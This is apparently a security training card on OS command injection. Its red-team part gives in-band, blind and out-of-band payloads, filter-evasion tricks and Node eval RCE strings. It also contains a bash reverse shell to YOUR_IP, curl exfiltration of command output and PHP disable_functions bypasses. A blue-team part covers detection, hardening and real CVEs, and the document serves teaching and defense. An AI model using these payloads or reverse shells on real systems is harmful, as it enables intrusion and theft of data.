Command injection
OS command injection happens when the application passes user input to a system call
(system, exec, popen, child_process…) without sanitizing it. The attacker appends
their own commands, which the server runs with the web process’s privileges. It is one of the
most direct routes to a shell. The invariant that breaks is “the user supplies data, not part
of the command”.
flowchart LR
A[Attacker] -->|"host=127.0.0.1;id"| APP["App<br/>ping -c1 + host"]
APP -->|"/bin/sh -c 'ping -c1 127.0.0.1;id'"| SH["Shell"]
SH -->|"ping"| P[ping]
SH -->|"id"| C["Attacker's command"]
C -->|"output in the response,<br/>a delay or a request to your IP"| A
Threat model
Section titled “Threat model”RCE on the server as the web process user: reading files and secrets, reverse shell, pivoting into the internal network, persistence and, often, compromise of whatever sits behind it (DB, cloud accounts). RCE does not mean root: the next step is local privilege escalation.
Anatomy
Section titled “Anatomy”It usually shows up in features that call system utilities: network diagnostics (ping,
traceroute, nslookup, whois), converters (ffmpeg, ImageMagick, LibreOffice), PDF and
thumbnail generators, antivirus scans, backups. If the code runs ping -c1 <host> through
/bin/sh, metacharacters let you chain commands.
Operators
Section titled “Operators”| Operator | Effect | Example |
|---|---|---|
; |
Always chains | 127.0.0.1; id |
&& |
Runs if the previous one succeeds | 127.0.0.1 && whoami |
|| |
Runs if the previous one fails | x || id |
| |
Pipe: your command receives the previous output | 127.0.0.1 | id |
`cmd` · $(cmd) |
Command substitution | $(id) |
%0a (newline) |
Separates commands | 127.0.0.1%0aid |
& |
Background; useful when blind | 127.0.0.1 & sleep 5 |
On Windows (cmd.exe), &, &&, | and || work; ; and $() don’t. In PowerShell, ;
does separate commands; && and || only exist from PowerShell 7.
Command injection vs argument injection
Section titled “Command injection vs argument injection”If the application passes an argument list without a shell
(subprocess.run(["ping", "-c1", user_input])), metacharacters (;, |, $(), redirections)
are not interpreted: there is no command injection. But your input is still an argument,
and if it starts with - the program takes it as an option.
- Diagnosis: inject a harmless option or
--helpand see whether the behavior or the error message changes. - Impact: depends on the binary. Some well-known examples:
| Binary | Option | Effect |
|---|---|---|
curl |
-o /path · -K file |
Write files · read a config |
tar |
--checkpoint=1 --checkpoint-action=exec=cmd |
Run a command |
find |
-exec cmd {} ; |
Run a command |
ssh |
-oProxyCommand=cmd |
Run a local command |
git |
--upload-pack=cmd |
Run a command |
zip |
-T -TT cmd |
Run a command when testing the archive |
Variants
Section titled “Variants”| Variant | How you confirm it | Note |
|---|---|---|
| In-band | The output of id comes back in the response |
The most direct |
| Time-based blind | The response takes as long as you ask | Reliable with no output and no network |
| Out-of-band blind | Your server receives an HTTP or DNS request | Needs outbound network access |
| Argument injection | An option changes the behavior | No shell; impact depends on the binary |
Injection into eval (Node.js and others) |
An expression is evaluated (7*7 → 49) |
You write code in the language, not in the shell |
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”Identify parameters that may end up in a command: hosts, file names, conversion options, paths. Flag the indirect ones too: metadata of uploaded files, headers or fields that are later passed to a background tool.
Confirming the injection (in-band)
Section titled “Confirming the injection (in-band)”curl -s "http://app.lab.local/ping?host=127.0.0.1;id"curl -s "http://app.lab.local/ping?host=127.0.0.1%0aid"curl -s "http://app.lab.local/ping?host=127.0.0.1%26%26whoami" # encoded &&| Channel | How | To confirm |
|---|---|---|
| Time | & sleep 5 · ; ping -c 10 127.0.0.1 · Windows: & ping -n 6 127.0.0.1 |
Try several values (5, 10) and compare; watch out for rate limiting, caches and queues |
| Out-of-band HTTP | ; curl http://YOUR_IP/x · wget |
A different identifier per request |
| Out-of-band DNS | ; nslookup <id>.your-domain · dig |
Useful when only DNS gets out |
time curl -s "http://app.lab.local/check?host=127.0.0.1;sleep+5" -o /dev/nullpython3 -m http.server 80 # your HTTP collectorcurl -s "http://app.lab.local/report?id=1;curl+http://YOUR_IP/\$(whoami)"- Exfiltrating over OOB: put
$(cat file)in the path or the subdomain, encoded (hex, base32 or base64 without=) so it doesn’t break the URL or the DNS name, and split it if it is long. - A DNS lookup confirms execution, not reading or full RCE. Resolver caches, filtered egress or internal DNS give ambiguous signals.
- Time oracle: if there is no other channel, extract character by character combining
cut -c<N>,grep -qandsleep. It is slow; use it only as a last resort.
Filter evasion
Section titled “Filter evasion”| Filter | Bypass | Example |
|---|---|---|
| Space | ${IFS} · $IFS · tab %09 · braces (bash only) · redirection |
cat${IFS}/etc/passwd · {cat,/etc/passwd} · cat</etc/passwd |
Word (cat, whoami) |
Embedded quotes · alternative command · variables · base64 | c"a"t · w'h'oami · head · x=c;${x}at · echo aWQ= | base64 -d | sh |
Substring (etc, passwd) |
Wildcards | /e?c/p?sswd · /e*/passwd · /bin/c?t |
; | & $ ( ) |
Newline | %0acat /etc/passwd |
| Several at once | Combine | %0ahead${IFS}/e?c/p?sswd |
Same as with uploads: change a single thing per request in Burp Repeater until you know exactly what the filter blocks (the space, the word or the character) before combining bypasses. For generic WAFs, see WAF evasion.
Injection into Node.js eval
Section titled “Injection into Node.js eval”If your input ends up in eval, new Function, vm or a template that evaluates, you are not
injecting shell commands but JavaScript running inside Node.
| Step | Payload | What it tells you |
|---|---|---|
| Is it evaluated? | 7*7 → 49 · 7*'7' → 49 · 'a'+'b' → ab · [1,2,3].length → 3 |
If it returns the literal text, it isn’t evaluated |
| Is it server-side JavaScript? | process.version · typeof require → function |
Only a Node interpreter answers like that |
| Errors | ' · ( |
Node stack trace in the response |
| Execution | require('child_process').execSync('id').toString() |
RCE |
| Blind | require('child_process').execSync('sleep 5') |
Time-based confirmation |
If require isn’t in scope (code evaluated with new Function, vm or indirect eval),
typeof require returns undefined even on Node: rely on process.version instead. In that
case try process.mainModule.require('child_process'), which only works if the entry script is
CommonJS; on Node ≥ 20.16 / 22.3, process.getBuiltinModule('child_process') also works with
ES modules. If the evaluation is a server-side template, the
relevant card is SSTI.
PHP and disable_functions
Section titled “PHP and disable_functions”If you have PHP code execution (a webshell, an LFI → RCE) but system() returns nothing, check
disable_functions in php.ini. It is a denylist: it removes functions by name, and
anything not on the list is still available.
- Check:
phpinfo(),ini_get('disable_functions'),function_exists('exec'). - Usual list:
system,exec,shell_exec,passthru,popen,proc_open. Look for what was left out (pcntl_exec, for example). - Known bypasses:
LD_PRELOADviaputenv()+mail()(the Chankro tool automates it), FFI (PHP 7.4+ withffi.enable), COM objects on Windows (com_dotnet) and mod_cgi with your own.htaccesson Apache. - A function not being blocked doesn’t prove it is exploitable: it depends on the SAPI, the loaded extensions and the permissions.
Automating with commix
Section titled “Automating with commix”commix detects the technique (results-based, time-based, file-based or eval-based) and offers a
pseudo-shell (--os-shell). Use it to confirm and speed things up, but always validate by hand
with an id: a time-based false positive is easy on a slow server.
commix --url="http://app.lab.local/ping?host=127.0.0.1" --batchFrom injection to shell
Section titled “From injection to shell”With execution confirmed, check the context (user, container, available interpreters) and launch a reverse shell in the background so it doesn’t die with the request timeout. The details are in from web vulnerability to shell and reverse shells and TTY.
sudo nc -lvnp 443curl -G "http://app.lab.local/ping" \ --data-urlencode "host=127.0.0.1;bash -c 'bash -i >& /dev/tcp/YOUR_IP/443 0>&1' &"Researcher workflow
Section titled “Researcher workflow”- Find direct and indirect parameters that may end up in a command.
- Confirm in-band with
;id,%0aidor&&id; with no output, time-based with several values. - If no separator works, try argument injection with a harmless option.
- If the input is evaluated as code (
7*7), treat it as injection intoeval. - If there is a filter, identify it by changing one thing at a time and combine bypasses.
- Show impact with a harmless command and, if in scope, move to a stable shell.
- Burp Repeater to iterate operators and bypasses.
- commix for automatic detection and exploitation.
- python3 -m http.server, interactsh or Burp Collaborator as the OOB collector.
- Chankro for the
disable_functionsbypass viaLD_PRELOAD. - nc, pwncat-cs or socat as the listener (reverse shells).
Impact and chaining
Section titled “Impact and chaining”RCE → secrets (.env, cloud keys, DB credentials) → pivot. In a container, an escape attempt;
with an attached cloud role, account takeover. Chains with LFI and
file upload when code execution arrives another way and you need to get
past disable_functions.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- The web process (nginx, php-fpm, node, w3wp) spawning shells or unusual binaries (
sh,bash,cmd.exe,powershell.exe,nc,curl,whoami,id): a strong EDR signal. - Parameters with
;,|,$(,`,%0a,${IFS}or wildcards in system paths. - Repeated latency spikes (time-based blind) and outbound HTTP or DNS requests from the web server to unknown destinations (OOB).
- New
.soor.htaccessfiles written in web server directories (disable_functionsbypass).
Telemetry and sources
Section titled “Telemetry and sources”Process creation (auditd or eBPF on Linux, Sysmon on Windows), EDR, application logs with the built command, and egress and DNS from the web segment.
Hardening
Section titled “Hardening”- Avoid the shell. Never build command lines by concatenation: use APIs that take the
program and its arguments as a list (
subprocess.run([...], shell=False),execFile/spawnwithoutshellin Node,ProcessBuilderin Java). - Against argument injection, put
--before user input (end of options) and reject values starting with-. - If you must call binaries, use a strict allowlist of values and pattern validation; never a denylist of metacharacters.
- Prefer the language’s native libraries over calling system utilities.
- Never
eval/new Functionon user data. - Least privilege: an unprivileged user, a container with a read-only file system, seccomp/AppArmor/SELinux and no unnecessary egress.
- In PHP,
disable_functionsis defense in depth, not the main protection.
Response
Section titled “Response”Isolate the host, rotate the secrets the process could reach, hunt for webshells and persistence, rebuild from a clean image and fix the injection point.
CVEs and real cases
Section titled “CVEs and real cases”- Shellshock (CVE-2014-6271, 2014): Bash ran code when importing functions from environment
variables; with CGI scripts written in Bash (or invoking it), a header such as
User-Agentgave RCE. Mass exploited on servers and IoT. - CVE-2024-3400 (Palo Alto PAN-OS GlobalProtect, 2024): a traversal in the
SESSIDcookie allowed creating, without authentication, a file with an arbitrary name, and the telemetry service later used that name in a shell command. RCE as root on the firewall; exploited as a zero-day. - CVE-2024-21887 (Ivanti Connect Secure, 2024): command injection in web components that required an authenticated administrator; chained with an authentication bypass (CVE-2023-46805), it gave RCE without credentials. Mass exploited.
- Routers, cameras and IoT: injection in web diagnostic features (ping, traceroute) is endemic and has fed Mirai variants and other botnets.
Specific CVEs on NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Direct and indirect parameters reaching a command identified.
- Injection confirmed in-band or blind (time with several values, or OOB).
- Argument injection assessed when there is no shell.
- Injection into
evalruled out or confirmed. - Filters identified one at a time and bypass applied.
- In PHP,
disable_functionschecked if execution returns nothing. - Impact shown with a harmless, never destructive, command within scope.